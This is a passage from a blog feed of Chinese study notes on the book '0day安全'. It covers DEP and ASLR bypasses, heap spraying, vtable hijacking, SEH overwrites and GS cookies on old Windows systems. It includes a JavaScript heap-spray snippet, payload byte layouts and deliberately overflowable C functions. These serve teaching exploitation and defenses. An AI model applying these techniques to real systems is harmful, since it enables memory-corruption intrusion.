esp</span></div></div><div><div><div>6</div></div><div><span>90 90 90 90</span></div></div><div><div><div>7</div></div><div><span>24 CD 93 7C   ; 调 ZwSetInformationProcess（关 DEP）</span></div></div><div><div><div>8</div></div><div><span>90 90 E9 2D   ; jmp 到真正的 shellcode</span></div></div><div><div><div>9</div></div><div><span>FF FF FF 90</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>思路是这样。第一个 <code>ret</code> 到 <code>mov eax,1</code>，因为调用前要访问 ebp 而它已被溢出刷掉，所以用 <code>push esp; pop ebp; retn N</code> 把 esp 赋给 ebp。但 <code>retn N</code> 会让 ebp 加上 N，变得比 esp 还小，调用子程序会破坏栈，所以再把 esp 抬 0x24 凑成 0x30 的空间；<code>retn 0x24</code> 返回到调 <code>ZwSetInformationProcess</code> 的地方，关完 DEP 后 <code>leave; ret</code> 回到 <code>jmp esp</code>，由它跳到后面那段垃圾数据处，最后一个跳转进 shellcode 本体。</p></section><section><h3>改权限，VirtualProtect<a href="#改权限virtualprotect"><span>#</span></a></h3><p>不关 DEP，而是把 shellcode 那页的属性改成可执行。<code>VirtualProtect(地址, 大小, 0x40, 某个可写地址)</code>，最后一个参数 <code>flNewProtect=0x40</code> 就是 <code>PAGE_EXECUTE_READWRITE</code>。参数里有 <code>0x00</code>，所以触发函数从 strcpy 换成 memcpy。栈上排布是从修 ebp 开始，接着 VirtualProtect 地址、返回地址、四个参数，最后是 shellcode 本体。调用完属性就改好了，返回到 shellcode 起始地址执行。</p></section><section><h3>申请新内存，VirtualAlloc<a href="#申请新内存virtualalloc"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>LPVOID</span><span> </span><span>VirtualAlloc</span><span>(</span><span>LPVOID</span><span><span> </span><span>lpAddress</span><span>, </span></span><span>SIZE_T</span><span><span> </span><span>dwSize</span><span>,</span></span></div></div><div><div><div>2</div></div><div><span>                    </span><span>DWORD</span><span><span> </span><span>flAllocationType</span><span>, </span></span><span>DWORD</span><span><span> </span><span>flProtect</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>先用 VirtualAlloc 申请一段可执行内存，再用 memcpy 把 shellcode 复制过去，memcpy 返回时直接返回到新内存里 shellcode 的起始地址。栈排布就是把 VirtualAlloc 的四个参数和随后 memcpy 的三个参数依次摆好。</p></section><section><h3>另外两条没走通的路<a href="#另外两条没走通的路"><span>#</span></a></h3><ul>
<li>借现成的 RWX 内存：有时进程里存在一段可读可写可执行的内存，把 shellcode 复制进去再劫持流程就行。可惜当年测的进程里找不到这样的内存段，这个实验没做完</li>
<li>借 .NET 段：.NET 文件也有 <code>.text</code> 这类会被映射且带可执行属性的段，把 shellcode 放进一个 .NET 控件的可执行段里，再让有漏洞的 ActiveX 控件跳过去。思路成立，Java Applet 那条也类似，但当年都卡在找不到合适版本，没做完</li>
</ul><hr /></section></section>
<section><h2>ASLR 是什么<a href="#aslr-是什么"><span>#</span></a></h2><p>前面所有方法都要先确定一个明确的跳转地址，不管是 <code>jmp esp</code> 还是 ret2libc 用的各条指令。惹不起躲得起，ASLR(Address Space Layout Randomization) 就是加载时不再用固定基址，来干扰 shellcode 定位。</p><p>ASLR 的概念 XP 时代就有了，但 XP 上只简单随机化了 PEB/TEB，没动模块加载基址，直到 Vista 才真正发挥作用。和 SafeSEH 一样，它需要程序和系统双重支持，不过程序的支持不是必需的，程序用 <code>/dynamicbase</code>(VS2005 SP1 起)在 PE 头设 <code>IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE</code>，就支持 ASLR 了。</p><ul>
<li>映像随机化：PE 映射到内存时随机化加载的虚拟地址，这个地址系统启动时定、重启才变。有个注册表开关 <code>...\Memory Management\MoveImages</code>，<code>0</code> 禁用，<code>-1</code> 强制随机化(不管有没有那个标识)，其它值为正常模式(只随机化带标识的)</li>
<li>堆栈随机化：程序运行时随机选堆栈基址，和映像不同，它是打开程序时定的，所以同一程序两次运行的堆栈基址都不同。当年在 XP 和 Vista 上各跑两次对比，Vista 上堆地址相去甚远，XP 上完全相同</li>
<li>PEB/TEB 随机化：实测效果很差，PEB 只随机化了一个字节而且很有规律，TEB 基本没变过</li>
</ul><section><h3>ASLR 的缺口<a href="#aslr-的缺口"><span>#</span></a></h3><p>这里有个关键的地方。映像随机化只改高位，模块里每条指令地址的<strong>低两个字节不变</strong>。比如原基址 <code>0x00401234</code> 随机化成 <code>0x67291234</code>，低位 <code>1234</code> 原封不动。这就留了两个口子。</p></section><section><h3>口子一，借没开 ASLR 的模块<a href="#口子一借没开-aslr-的模块"><span>#</span></a></h3><div><div><div></div><div>说明</div></div><div><p>实验环境：Windows Vista SP0，IE7，Adobe Flash Player 9.0.124（书里要 9.0.262，找不到就用 9.0.124 替代）。</p></div></div><p>Flash9k.ocx 没开 ASLR，加载基址固定，就能在里面找跳板。实验控件没开 GS、IE7 的 DEP 关着，所以只需覆盖返回地址、用 <code>jmp esp</code> 跳回栈上 shellcode。找跳板时踩了一串坑。好几个 <code>jmp esp</code> 的地址本身构成会访问 eax/ecx 的指令（像 <code>imul esp, [eax+0x1D], 0x30</code>），而那些寄存器没指向有效地址，又找不到合适的修复指令；<code>jmp esi</code> 的候选要么含 <code>0x00</code>、要么以 <code>retn</code> 结尾、要么直接异常。最后用 <code>0x300942F2</code> 的 <code>CALL ESP</code>（顺便把 esp 抬 8 字节避开垃圾数据）才成。重启系统后 shellcode 照跑，说明绕过 ASLR 成功。</p></section><section><h3>口子二，部分覆盖(partial overwrite)<a href="#口子二部分覆盖partial-overwrite"><span>#</span></a></h3><p>既然低两字节不随机化，那就只覆盖返回地址的低两个字节（off-by-word），高位保持原样，跳板始终有效。攻 memcpy 能把落点控制在 <code>0xXXXX0000</code><code>0xXXXXFFFF</code>，攻 str 类函数能控制在 <code>0xXXXX0100</code><code>0xXXXX00FF</code>。做法是在程序里找一条 <code>jmp eax</code>，把它地址的低 word 填进去，算好缓冲区大小，溢出即可。</p><div><div><div></div><div>说明</div></div><div><p>实验环境：Vista SP0，DEP=OptIn 默认，VS2008，禁用优化，GS 关，<code>/NXCOMPAT:NO</code>，release。编译运行直接弹窗，重启也一样。这招今天仍然有用。现代 ASLR 虽然熵更高，但页内偏移(低 12 位)永远不随机化，partial overwrite 在信息泄露不足时仍是一个常用技巧。</p></div></div><hr /></section></section>
<section><h2>堆喷，在浏览器里定位 shellcode<a href="#堆喷在浏览器里定位-shellcode"><span>#</span></a></h2><p>ASLR 让你不知道 shellcode 在哪，堆喷(Heap Spray)换个思路，我把内存铺满，让”随便一个地址”都落在 shellcode 上。</p><p>针对浏览器的攻击常常堆栈协同。漏洞触发后能拿到 EIP，但浏览器内存环境复杂，难直接定位完整 shellcode；而页面里的 JavaScript 能申请堆内存，于是用 JS 把 shellcode 铺到堆里。手法是把 EIP 指向 <code>0x0C0C0C0C</code>，再用 JS 申请大量堆内存、用”一大片 <code>0x90</code> + shellcode”的内存片填满。JS 一般从低地址往高地址分配，申请超过 200MB 后 <code>0x0C0C0C0C</code> 就会被某个内存片盖住，只要落在那片的 NOP 区里，滑到 shellcode 就执行了。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>nop</span><span> </span></span><span>=</span><span> </span><span>unescape</span><span>(</span><span>"%u9090%u9090"</span><span>);</span></div></div><div><div><div>2</div></div><div><span>while</span><span><span> (</span><span>nop</span><span>.</span></span><span>length</span><span> </span><span>&lt;=</span><span> </span><span>0x100000</span><span>/</span><span>2</span><span><span>) { </span><span>nop</span><span> </span></span><span>+=</span><span><span> </span><span>nop</span><span>; }  </span></span><span>// 生成 1MB 的 0x90 块</span></div></div><div><div><div>3</div></div><div><span>// JS 给字符串加了额外信息(堆块头 32B、长度 4B、结尾 2B)，要减掉，保证每片正好 1MB</span></div></div><div><div><div>4</div></div><div><span><span>nop</span><span> </span></span><span>=</span><span><span> </span><span>nop</span><span>.</span></span><span>substring</span><span>(</span><span>0</span><span>, </span><span>0x100000</span><span>/</span><span>2</span><span> </span><span>-</span><span> </span><span>32</span><span>/</span><span>2</span><span> </span><span>-</span><span> </span><span>4</span><span>/</span><span>2</span><span> </span><span>-</span><span> </span><span>2</span><span>/</span><span>2</span><span> </span><span>-</span><span><span> </span><span>shellcode</span><span>.</span></span><span>length</span><span>);</span></div></div><div><div><div>5</div></div><div><span>var</span><span><span> </span><span>slide</span><span> </span></span><span>=</span><span> </span><span>new</span><span> </span><span>Array</span><span>();      </span><span>// 当年这里把 Array 拼成了 Arrary，更正一下</span></div></div><div><div><div>6</div></div><div><span>for</span><span> (</span><span>var</span><span><span> </span><span>i</span><span> </span></span><span>=</span><span> </span><span>0</span><span><span>; </span><span>i</span><span> </span></span><span>&lt;</span><span> </span><span>200</span><span><span>; </span><span>i</span></span><span>++</span><span><span>) { </span><span>slide</span><span>[</span><span>i</span><span>] </span></span><span>=</span><span><span> </span><span>nop</span><span> </span></span><span>+</span><span><span> </span><span>shellcode</span><span>; }</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>用 200 个这样的 1MB 片覆盖堆内存，只要任意一片的 NOP 盖住 <code>0x0C0C0C0C</code> 就成。</p><section><h3>堆喷打 ASLR<a href="#堆喷打-aslr"><span>#</span></a></h3><p>堆喷和 ASLR 是天生一对。ASLR 随机化了模块地址，但堆喷占的是一个固定的魔数地址 <code>0x0C0C0C0C</code>，不受模块随机化影响。在 Vista + IE7 上，用前面那个有漏洞的 ActiveX 控件，堆喷占满 <code>0x0C0C0C0C</code> 附近，再把函数返回地址覆盖成 <code>0x0C0C0C0C</code>，返回后转进喷好的内存、滑过 NOP 到 shellcode。重启系统后照样成功。</p><hr /></section></section>
<section><h2>虚表劫持<a href="#虚表劫持"><span>#</span></a></h2><p>最后补一个前面几篇反复提到、但一直往后放的下手点，C++ 虚函数。它既绕 GS 也绕 SEH 保护，单拎出来讲。</p><ul>
<li>C++ 里用 <code>virtual</code> 修饰的成员函数是虚函数，入口地址统一存在虚表(Vtable)里</li>
<li>对象调用虚函数时，先通过对象里的虚表指针找到虚表，再从虚表取出函数地址调用</li>
<li>虚表指针就存在对象的内存里，紧跟在它后面是其它成员变量</li>
</ul><p>所以如果对象里的成员变量(比如一个数组)溢出，就有机会改掉虚表指针，或者改虚表里的函数指针，下次调用虚函数时就跳进 shellcode：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>class</span><span> </span><span>Failwest</span><span> {</span></div></div><div><div><div>2</div></div><div><span>public:</span></div></div><div><div><div>3</div></div><div><span>    </span><span>char</span><span> </span><span>buf</span><span>[</span><span>200</span><span>];</span></div></div><div><div><div>4</div></div><div><span>    </span><span>virtual</span><span> </span><span>void</span><span> </span><span>test</span><span>(</span><span>void</span><span>) { </span><span>cout</span><span> </span><span>&lt;&lt;</span><span> </span><span>"Vtable::test()"</span><span> </span><span>&lt;&lt;</span><span> </span><span>endl</span><span>; }</span></div></div><div><div><div>5</div></div><div><span>};</span></div></div><div><div><div>6</div></div><div><span>Failwest</span><span> </span><span>overflow</span><span>, </span><span>*</span><span>p</span><span>;</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span>void</span><span> </span><span>main</span><span>(</span><span>void</span><span>) {</span></div></div><div><div><div>9</div></div><div><span>    </span><span>char</span><span> </span><span>*</span><span> </span><span>p_vtable</span><span> </span><span>=</span><span> </span><span>overflow</span><span>.</span><span>buf</span><span> </span><span>-</span><span> </span><span>4</span><span>;</span><span>   // 虚表指针在成员变量之前</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>// 把虚表指针改指到 buf 里一个我们控制的位置</span></div></div><div><div><div>11</div></div><div><span>    </span><span>p_vtable</span><span>[</span><span>0</span><span>] </span><span>=</span><span> </span><span><span>0x</span><span>5C</span></span><span>; </span><span>p_vtable</span><span>[</span><span>1</span><span>] </span><span>=</span><span> </span><span><span>0x</span><span>BB</span></span><span>;</span></div></div><div><div><div>12</div></div><div><span>    </span><span>p_vtable</span><span>[</span><span>2</span><span>] </span><span>=</span><span> </span><span><span>0x</span><span>40</span></span><span>; </span><span>p_vtable</span><span>[</span><span>3</span><span>] </span><span>=</span><span> </span><span><span>0x</span><span>00</span></span><span>;</span></div></div><div><div><div>13</div></div><div><span>    </span><span>strcpy</span><span>(</span><span>overflow</span><span>.</span><span>buf</span><span>, </span><span>shellcode</span><span>);</span></div></div><div><div><div>14</div></div><div><span>    </span><span>p</span><span> </span><span>=</span><span> </span><span>&amp;</span><span>overflow</span><span>;</span></div></div><div><div><div>15</div></div><div><span>    </span><span>p</span><span>-&gt;</span><span>test</span><span>();</span><span>    // 跳进 shellcode</span></div></div><div><div><div>16</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>对象内存在堆里，但这是连续线性覆盖，所以严格说既不算栈溢出也不算堆溢出，叫”数组溢出”或”连续性覆盖”更准确。用 DWORD SHOOT 来改虚表往往更简单。虚表劫持躲过了 GS（不等返回就触发）和 SafeSEH/SEHOP（它们都不管虚表），所以在 GS 普及之后它成了很受欢迎的一条路。也正因如此，它是下面要讲的现代保护重点针对的对象。</p><hr /></section>
<section><h2>今天再看<a href="#今天再看"><span>#</span></a></h2><p>这一篇讲的两道保护今天都还在，而且是现代利用的真正起点，只是攻防双方都往前走了一大截。</p><p>DEP 这边，ret2libc 直接长成了 <strong>ROP(Return-Oriented Programming)</strong>。当年”跳到一两个系统函数”的拼接，被推广成”把成百上千条以 <code>ret</code> 结尾的小片段(gadget)串起来”，足以在完全不执行新代码的前提下完成任意逻辑，比如调 <code>VirtualProtect</code> 给真正的 payload 开执行权限。上面关 DEP / 开执行权限那几招，就是 ROP 链最常见的收尾动作。微软的回应是 <strong>CFG/XFG</strong>（管住间接调用的目标，专治上面那种虚表劫持）、<strong>ACG</strong>（代码页一旦可执行就不能再改，堵住”自己改权限再写代码”）、<strong>CIG</strong>（只允许加载微软签名的镜像）。</p><p>ASLR 这边，最大的变化是<strong>信息泄露成了利用的第一步</strong>。现代 Windows 默认强制 ASLR、64 位上还有高熵 ASLR，靠猜地址基本没戏，所以今天一条完整的利用链几乎都要先有一个内存泄露漏洞拿到某个模块或堆的真实地址，再据此算出 gadget 和 shellcode 的位置。而本文那两个缺口依然健在。partial overwrite 利用的”页内偏移不随机化”到今天仍然成立；堆喷占固定魔数地址的思路也没过时，只是浏览器加了隔离堆、给 JIT 内存也上了随机化和权限限制，纯 NOP 滑板的老式堆喷不如当年好使了，现在更多配合类型混淆、UAF 这类漏洞做精准的堆布局。</p><p>这四篇讲的每一招今天都不能照搬，但把它们理解透，正好就是读懂现代 ROP、CFG 和”先泄露再利用”的底子。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/reread-0day-3-seh-gs-safeseh-sehop/</id>
      <title type="text">重读《0day安全》（三）SEH 劫持，以及 GS、SafeSEH、SEHOP</title>
      <published>2020-10-25T00:00:00.000Z</published>
      <updated>2020-10-25T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/reread-0day-3-seh-gs-safeseh-sehop/"/>
      <summary type="text">从覆盖 SEH 劫持异常处理，到 GS cookie、SafeSEH 的 RtlIsValidHandler 校验树、SEHOP 的链完整性检查，以及它们各自的绕过思路。</summary>
      <content type="html"><![CDATA[<blockquote><p>《重读〈0day安全〉》系列第三篇，基于《0day安全：软件漏洞分析技术（第2版）》（failwest 等著）的实验笔记，2020 年写，2026 年整理。这一篇把异常处理相关的四五篇笔记并在一起，先讲怎么覆盖 SEH 劫持流程，再依次看针对它的三道保护 GS、SafeSEH、SEHOP 是怎么工作、又能怎么绕的。书里好几段弹窗用的都是<a href="/zh-cn/posts/reread-0day-1-stack-overflow-and-shellcode/">第一篇</a>那段动态找 API 的 shellcode，这里就不重复整段贴了。</p></blockquote>
<section><h2>SEH 是什么<a href="#seh-是什么"><span>#</span></a></h2><ul>
<li>SEH 是异常处理结构体(Structured Exception Handler)，是 Windows 异常处理机制里的重要数据结构。每个 SEH 记录包含两个 DWORD，一个指向下一个 SEH 记录，一个是异常处理函数的地址，一共 8 个字节</li>
<li>SEH 结构存放在栈中</li>
<li>线程初始化时，自动向栈中安装一个 SEH 作为线程默认的异常处理</li>
<li>如果源代码里用了 <code>try-except</code> 这类异常处理，编译器最终是通过向当前函数栈帧里安装一个 SEH 来实现的</li>
<li>栈中一般会同时存在多个 SEH</li>
<li>栈里的多个 SEH 通过”下一个”指针由栈顶向栈底串成单向链表，链表最顶端(离栈顶最近)的那个由 TEB 偏移 0 处的指针标识</li>
<li>异常发生时，系统从 TEB 的 0 偏移处取出离栈顶最近的 SEH，用它的处理函数来处理异常</li>
<li>当离事故现场最近的处理函数失败时，顺着链表依次尝试后面的</li>
<li>如果所有自己安装的都处理不了，系统采用默认处理函数，弹出错误对话框然后强制关闭程序</li>
</ul></section>
<section><h2>覆盖 SEH 的思路<a href="#覆盖-seh-的思路"><span>#</span></a></h2><ul>
<li>SEH 存放在栈内，溢出缓冲区的数据可以淹没它</li>
<li>把 SEH 记录里的处理函数地址改成 shellcode 的起始地址</li>
<li>溢出后错误的栈帧或堆块数据会触发异常</li>
<li>系统开始处理异常后，就把 shellcode 当成异常处理函数执行了</li>
</ul><p>好处很明显，不用等到函数 <code>ret</code>，只要制造一个异常就能触发。像下面这样一段除 0 就够了。</p><section><h3>栈上覆盖 SEH<a href="#栈上覆盖-seh"><span>#</span></a></h3><p>实验环境是 Windows 2000。先用一段全 NOP 的”shellcode”看看覆盖到哪里。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>void</span><span> </span><span>test</span><span>(</span><span>char*</span><span><span> </span><span>input</span><span>)</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>char</span><span> </span><span>buf</span><span>[</span><span>200</span><span>];</span></div></div><div><div><div>4</div></div><div><span>    </span><span>int</span><span> </span><span>zero</span><span> </span><span>=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>5</div></div><div><span>    </span><span>__asm</span><span> </span><span>int</span><span> </span><span>3</span><span> // break for debug</span></div></div><div><div><div>6</div></div><div><span>    </span><span>__try</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>8</div></div><div><span>        </span><span>strcpy</span><span>(</span><span>buf</span><span>, </span><span>input</span><span>);</span><span>  // overrun the stack</span></div></div><div><div><div>9</div></div><div><span>        </span><span>zero</span><span> </span><span>=</span><span> </span><span>4</span><span> </span><span>/</span><span> </span><span>zero</span><span>;</span><span>     // generate an exception</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>11</div></div><div><span>    </span><span>__except</span><span>(</span><span>MyExceptionhandler</span><span>()){}</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>调试的时候看到这么几条：</p><ul>
<li><code>0x0012FE98</code> 是 shellcode 的起始位置</li>
<li>当前线程一共安装了 3 个 SEH，离栈顶最近的位于 <code>0x0012FF68</code>，这是最先被调用的</li>
<li>要覆盖的是 <code>0x0012FF6C</code>，也就是它的处理函数地址，把这里填成 shellcode 起始地址 <code>0x0012FE98</code> 即可</li>
</ul><p>然后把 input 换成”真 shellcode + 覆盖到 SEH 的尾巴”：前面放<a href="/zh-cn/posts/reread-0day-1-stack-overflow-and-shellcode/">第一篇</a>那段弹窗 shellcode，末尾这样接：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>... (前面是弹窗 shellcode，省略) ...</span></div></div><div><div><div>2</div></div><div><span>90 90 90 90   ; 下一个 SEH 记录，随便填</span></div></div><div><div><div>3</div></div><div><span>98 FE 12 00   ; SEH 处理函数地址 = 0x0012FE98，指向 shellcode</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>strcpy</code> 溢出盖掉 SEH，<code>zero = 4 / zero</code> 触发除 0 异常，系统就去”处理”我们的 shellcode，弹窗成功。</p></section><section><h3>堆上覆盖 SEH<a href="#堆上覆盖-seh"><span>#</span></a></h3><p>同样的思路也能用在堆溢出上。shellcode 放在堆里，用 DWORD SHOOT 把 SEH 记录改成堆里 shellcode 的地址，再制造异常触发。结构和<a href="/zh-cn/posts/reread-0day-2-nt5-heap/">第二篇</a>的 DWORD SHOOT 一样，只是打击目标从 PEB 函数指针换成了 SEH。</p><hr /></section></section>
<section><h2>深入异常分发<a href="#深入异常分发"><span>#</span></a></h2><p>把整条路走一遍，后面讲绕过才有参照。</p><section><h3>不同级别的异常处理<a href="#不同级别的异常处理"><span>#</span></a></h3><ul>
<li>异常处理的最小作用域是线程，每个线程有自己的 SEH 链，出错时先用自己的链处理</li>
<li>一个进程里可能有很多线程，进程也有一个能处理全局的异常处理。线程自己的 SEH 修不好时，交给进程的处理</li>
<li>系统还给所有程序兜底，当所有处理函数都失败，系统默认的异常处理函数被调用，一般就是弹个崩溃框</li>
</ul></section><section><h3>线程级的回调函数和 unwind<a href="#线程级的回调函数和-unwind"><span>#</span></a></h3><p>用于异常处理的回调函数有 4 个参数：</p><ul>
<li><code>pExcept</code>：指向 <code>EXCEPTION_RECORD</code>，含异常类型、发生地址等</li>
<li><code>pFrame</code>：指向栈帧里的 SEH 结构体</li>
<li><code>pContext</code>：指向 <code>CONTEXT</code>，含所有寄存器状态</li>
<li><code>pDispatch</code>：dispatcher context</li>
</ul><p>回调返回值有两种：</p><ul>
<li><code>0 (ExceptionContinueExecution)</code>：异常处理成功，回到出错处继续执行</li>
<li><code>1 (ExceptionContinueSearch)</code>：处理失败，顺着链找下一个</li>
</ul><p>还有一个 <code>UNWIND</code> 操作，系统顺着链找到能处理的句柄后，会把之前遍历过(但处理失败)的那些 SEH 再调用一遍，通知它们”你被放弃了，清理现场释放资源”，然后把它们从链表里摘掉。unwind 调用时 <code>EXCEPTION_RECORD</code> 的 <code>ExceptionFlags</code> 会被设成 <code>EH_UNWINDING(0x2)</code>，由 <code>ntdll</code> 的 <code>RtlUnwind</code> 实现。另外，调用回调之前系统会先判断是不是调试态，是的话把异常先交给调试器。</p></section><section><h3>进程级与 UEF<a href="#进程级与-uef"><span>#</span></a></h3><p>线程链都失败后，交给进程异常处理（用 <code>SetUnhandledExceptionFilter</code> 注册）。再失败，就到系统默认的 <code>UnhandledExceptionFilter()</code>，也就是顶层异常处理 UEF(Unhandled Exception Filter)。在 2000/XP 上，这个函数会查注册表 <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug</code>，<code>Auto</code> 项决定弹不弹框，<code>Debugger</code> 项指定默认调试器。</p></section><section><h3>整条流程<a href="#整条流程"><span>#</span></a></h3><ul>
<li>CPU 捕获异常，内核接过去做内核态处理</li>
<li>内核处理完，交还用户态</li>
<li>用户态第一个处理异常的是 <code>ntdll</code> 的 <code>KiUserExceptionDispatcher()</code></li>
<li>它先看是否调试态，是就交给调试器</li>
<li>然后走 VEH(向量化异常处理)</li>
<li>非调试态，调用 <code>RtlDispatchException()</code> 遍历线程 SEH 链，找到处理函数后做 unwind</li>
<li>栈里的 SEH 都失败，调进程异常处理</li>
<li>还失败，调 UEF</li>
</ul></section><section><h3>顺带几个别的下手点<a href="#顺带几个别的下手点"><span>#</span></a></h3><ul>
<li>VEH，XP 起新增的向量化异常处理，基于进程、用 API 注册、串成双向链表、保存在堆里，优先级高于 SEH。用堆溢出 DWORD SHOOT 改指向 VEH 头节点的指针，异常开始后就能引导到 shellcode</li>
<li>攻击 TEB 里的 SEH 头指针，也就是改 TEB 第一个 DWORD。局限是多线程程序里 TEB 不好定位（第一个 TEB 在 <code>0x7FFDE000</code>，之后每个相隔 <code>0x1000</code> 向低地址增长），所以一般只对单线程程序用</li>
<li>攻击 UEF。DWORD SHOOT 的 target 指向 UEF 入口，data 填 shellcode 入口，再造一个只能由 UEF 处理的异常。异常发生时 EDI 往往指向堆中离 shellcode 不远处，把 UEF 句柄覆盖成一条 <code>CALL DWORD PTR [EDI + 0x78]</code>(或 <code>[ESI + 0x4C]</code>、<code>[EBP + 0x74]</code>)的指令地址，往往就能跳进去</li>
<li>攻击 PEB 里的函数指针。ExitProcess 清理现场时要进临界区同步，最终会调 <code>RtlEnterCriticalSection</code>，而 PEB 地址在 XP SP2 前固定不变，比 TEB 更好用（见<a href="/zh-cn/posts/reread-0day-2-nt5-heap/">第二篇</a>）</li>
</ul></section><section><h3>off-by-one<a href="#off-by-one"><span>#</span></a></h3><p>利用技术大致分几层，从基础栈溢出(改返回地址) → 高级栈溢出(只能盖到部分 EBP，够不到返回地址，比如 <code>strncpy</code> 误用造成的 off-by-one) → 堆溢出和格式化串。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>void</span><span> </span><span>off_by_one</span><span>(</span><span>char</span><span> </span><span>*</span><span><span> </span><span>input</span><span>)</span></span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>  </span><span>char</span><span> </span><span>buf</span><span>[</span><span>200</span><span>];</span></div></div><div><div><div>4</div></div><div><span>  </span><span>int</span><span> </span><span>i</span><span> </span><span>=</span><span> </span><span>0</span><span>, </span><span>len</span><span> </span><span>=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>5</div></div><div><span>  </span><span>len</span><span> </span><span>=</span><span> </span><span>sizeof</span><span>(</span><span>buf</span><span>);</span></div></div><div><div><div>6</div></div><div><span>  </span><span>for</span><span>(</span><span>i</span><span> </span><span>=</span><span> </span><span>0</span><span>; </span><span>input</span><span>[</span><span>i</span><span>] </span><span>&amp;&amp;</span><span> (</span><span>i</span><span> </span><span>&lt;=</span><span> </span><span>len</span><span>); </span><span>i</span><span>++</span><span>)</span><span>  // i &lt;= len 多走一步</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>8</div></div><div><span>    </span><span>buf</span><span>[</span><span>i</span><span>] </span><span>=</span><span> </span><span>input</span><span>[</span><span>i</span><span>];</span></div></div><div><div><div>9</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>10</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这函数想防越界，但 <code>i &lt;= len</code> 在边界上错了一位，可能溢出一个字节，刚好能盖到 EBP 最低字节，从而在一定范围内控制 EBP。</p><hr /><p>到这里都是”怎么打”。XP SP2 以后，针对上面这几条路，微软加了 GS、SafeSEH、SEHOP 三道保护，下面一道一道看。</p></section></section>
<section><h2>GS 和栈里的 cookie<a href="#gs-和栈里的-cookie"><span>#</span></a></h2><section><h3>原理<a href="#原理"><span>#</span></a></h3><ul>
<li>Visual Studio 2003(VС7.0)起默认启用(<code>Buffer Security Check</code>)</li>
<li>每次函数调用时，向栈帧里压一个额外的随机 DWORD，叫 <code>canary</code> 或 <code>Security Cookie</code></li>
<li>cookie 位于 EBP 之前，系统还在 <code>.data</code> 里存了一份副本</li>
<li>栈溢出时，cookie 会先于 EBP 和返回地址被盖掉</li>
<li>函数返回前做一次 <code>Security Check</code>，比较栈里的 cookie 和 <code>.data</code> 副本，不一致就说明溢出了，进异常流程，函数不正常返回，<code>ret</code> 也不执行</li>
<li>有性能代价，所以以下情况不加 GS：函数不含缓冲区；变参函数；用 naked 等关键字标记；第一条语句是内嵌汇编；缓冲区不是 8 字节类型且不大于 4 字节</li>
<li>因为这些例外出过问题，VS2005 SP1 引入 <code>#pragma strict_gs_check</code> 给任意函数加 cookie</li>
<li>还有变量重排，按局部变量类型调整它们在栈帧里的位置，把字符串挪到高地址，避免字符串溢出破坏其它变量；把指针和字符串参数复制到低地址</li>
</ul><p>cookie 的细节是这样的。以 <code>.data</code> 第一个 DWORD 作为种子(原始 cookie)，每次运行不同；栈帧初始化后用 ESP 异或种子得到当前函数的 cookie，增加随机性；返回前再用 ESP 异或还原出种子来比较。反汇编看得很清楚：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>; 函数开头计算 cookie</span></div></div><div><div><div>2</div></div><div><span><span>mov</span><span> </span></span><span>eax</span><span>, </span><span>dword</span><span> ptr </span><span>ds</span><span>:[__security_cookie]  </span><span>; 从 .data 取原 cookie</span></div></div><div><div><div>3</div></div><div><span><span>xor</span><span> </span></span><span>eax</span><span>, </span><span>ebp</span><span>                               </span><span>; 和 ebp 异或</span></div></div><div><div><div>4</div></div><div><span><span>mov</span><span> [</span></span><span>ebp</span><span>-</span><span>0x4</span><span>], </span><span>eax</span><span>                         </span><span>; 放在 ebp-0x4</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>; 函数返回前验证</span></div></div><div><div><div>7</div></div><div><span><span>mov</span><span> </span></span><span>ecx</span><span>, [</span><span>ebp</span><span>-</span><span>0x4</span><span>]</span></div></div><div><div><div>8</div></div><div><span><span>xor</span><span> </span></span><span>ecx</span><span>, </span><span>ebp</span></div></div><div><div><div>9</div></div><div><span><span>call</span><span> __security_check_cookie</span></span></div></div><div><div><div>10</div></div><div><span>; __security_check_cookie:</span></div></div><div><div><div>11</div></div><div><span><span>cmp</span><span> </span></span><span>ecx</span><span>, </span><span>dword</span><span> ptr </span><span>ds</span><span>:[__security_cookie]  </span><span>; 和 .data 副本比</span></div></div><div><div><div>12</div></div><div><span><span>jnz</span><span> __report_gsfailure                     </span></span><span>; 不等就报错</span></div></div><div><div><div>13</div></div><div><span><span>rep</span><span> </span><span>retn</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>GS 的缺口<a href="#gs-的缺口"><span>#</span></a></h3><p>GS 只保护栈帧返回地址这一块，所以有几个它管不到的地方：</p><ol>
